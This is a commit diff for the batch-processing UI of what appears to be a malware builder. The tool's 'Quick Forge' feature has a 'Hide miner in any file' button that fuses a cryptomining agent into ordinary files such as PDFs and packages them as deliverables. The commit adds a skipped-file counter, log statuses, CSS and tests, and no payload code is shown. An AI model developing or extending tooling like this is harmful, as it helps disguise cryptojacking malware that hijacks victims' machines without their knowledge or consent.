Add batch forge per-file skipped counter UI and tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Batch fusion now skips preflight/build failures per file, shows skipped count in progress header and log, and documents coverage by removing the deferred PROBLEMS row.
This commit is contained in:
@@ -611,6 +611,79 @@ describe('BuilderPage', () => {
|
||||
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('skips per-file build failures and shows skipped counter in batch progress', async () => {
|
||||
const user = userEvent.setup();
|
||||
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
|
||||
if (file?.name === 'bad.pdf') {
|
||||
return { success: false, error: 'Payload too large for fusion stub' };
|
||||
}
|
||||
return successfulBuild({
|
||||
fusion_enabled: true,
|
||||
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
||||
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
||||
});
|
||||
});
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
||||
}));
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
||||
|
||||
fireEvent.change(fusionBatchFileInput(), {
|
||||
target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
|
||||
});
|
||||
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
||||
|
||||
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
|
||||
expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('skips per-file preflight failures without aborting the batch', async () => {
|
||||
const user = userEvent.setup();
|
||||
const forgeValidation = await import('../help/forgeValidation');
|
||||
const { runForgePreflight: realPreflight } = await vi.importActual<
|
||||
typeof import('../help/forgeValidation')
|
||||
>('../help/forgeValidation');
|
||||
const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
|
||||
if (form.fusion_media_base_name === 'blocked.pdf') {
|
||||
return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
|
||||
}
|
||||
return realPreflight(form, fusion);
|
||||
});
|
||||
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
||||
successfulBuild({
|
||||
fusion_enabled: true,
|
||||
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
|
||||
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
|
||||
}),
|
||||
);
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Packaging', pct: 90 }),
|
||||
}));
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
|
||||
|
||||
fireEvent.change(fusionBatchFileInput(), {
|
||||
target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
|
||||
});
|
||||
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
|
||||
|
||||
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
|
||||
expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
|
||||
expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
|
||||
preflightSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('clears fusion batch queue after successful batch forge', async () => {
|
||||
const user = userEvent.setup();
|
||||
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
|
||||
|
||||
@@ -155,7 +155,8 @@ export default function BuilderPage() {
|
||||
fileName: string;
|
||||
phase: string;
|
||||
percent: number;
|
||||
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
|
||||
skipped: number;
|
||||
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail' | 'skipped'; detail?: string }[];
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
@@ -602,8 +603,9 @@ export default function BuilderPage() {
|
||||
setBuilding(true);
|
||||
const total = fusionBatchFiles.length;
|
||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
|
||||
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, skipped: 0, log });
|
||||
let ok = 0;
|
||||
let skipped = 0;
|
||||
try {
|
||||
for (let i = 0; i < total; i++) {
|
||||
if (batchCancelRef.current) {
|
||||
@@ -642,13 +644,44 @@ export default function BuilderPage() {
|
||||
});
|
||||
const checks = runForgePreflight(req, true);
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
const reason = checks.find((c) => c.level === 'error')?.message ?? 'Preflight failed';
|
||||
skipped++;
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
skipped,
|
||||
fileName: '',
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i ? { ...row, status: 'skipped', detail: reason } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
continue;
|
||||
}
|
||||
const batchToken = crypto.randomUUID();
|
||||
cancelTokenRef.current = batchToken;
|
||||
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
|
||||
cancelTokenRef.current = '';
|
||||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||||
if (!result.success) {
|
||||
skipped++;
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
skipped,
|
||||
fileName: '',
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i
|
||||
? { ...row, status: 'skipped', detail: result.error || 'Build failed' }
|
||||
: row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
continue;
|
||||
}
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
@@ -682,10 +715,13 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
if (!batchCancelRef.current) {
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`);
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '', skipped } : j));
|
||||
const skipNote = skipped > 0 ? ` · ${skipped} skipped` : '';
|
||||
setBlueprintMsg(
|
||||
`✅ Batch forged ${ok} file(s)${skipNote} — one universal ZIP per file in fusion-deliverables/`
|
||||
);
|
||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||
setFusionBatchFiles([]);
|
||||
if (ok > 0) setFusionBatchFiles([]);
|
||||
}
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
||||
@@ -2503,6 +2539,7 @@ export default function BuilderPage() {
|
||||
<span className="font-tech">BATCH FORGE</span>
|
||||
<span>
|
||||
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
||||
{batchJob.skipped > 0 ? ` · ${batchJob.skipped} skipped` : ''}
|
||||
</span>
|
||||
</div>
|
||||
<div className="batch-progress-track">
|
||||
@@ -2520,7 +2557,15 @@ export default function BuilderPage() {
|
||||
{batchJob.log.map((row) => (
|
||||
<li key={row.name} className={`batch-log-${row.status}`}>
|
||||
<span className="batch-log-icon">
|
||||
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
|
||||
{row.status === 'ok'
|
||||
? '✓'
|
||||
: row.status === 'fail'
|
||||
? '✕'
|
||||
: row.status === 'skipped'
|
||||
? '—'
|
||||
: row.status === 'active'
|
||||
? '…'
|
||||
: '○'}
|
||||
</span>
|
||||
<span>
|
||||
{row.name}
|
||||
|
||||
@@ -1509,6 +1509,11 @@ button.deliverable-card .form-hint {
|
||||
color: var(--neon-red, #f55);
|
||||
}
|
||||
|
||||
.batch-forge-log li.batch-log-skipped {
|
||||
color: var(--text-secondary);
|
||||
opacity: 0.85;
|
||||
}
|
||||
|
||||
.download-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
|
||||
Reference in New Issue
Block a user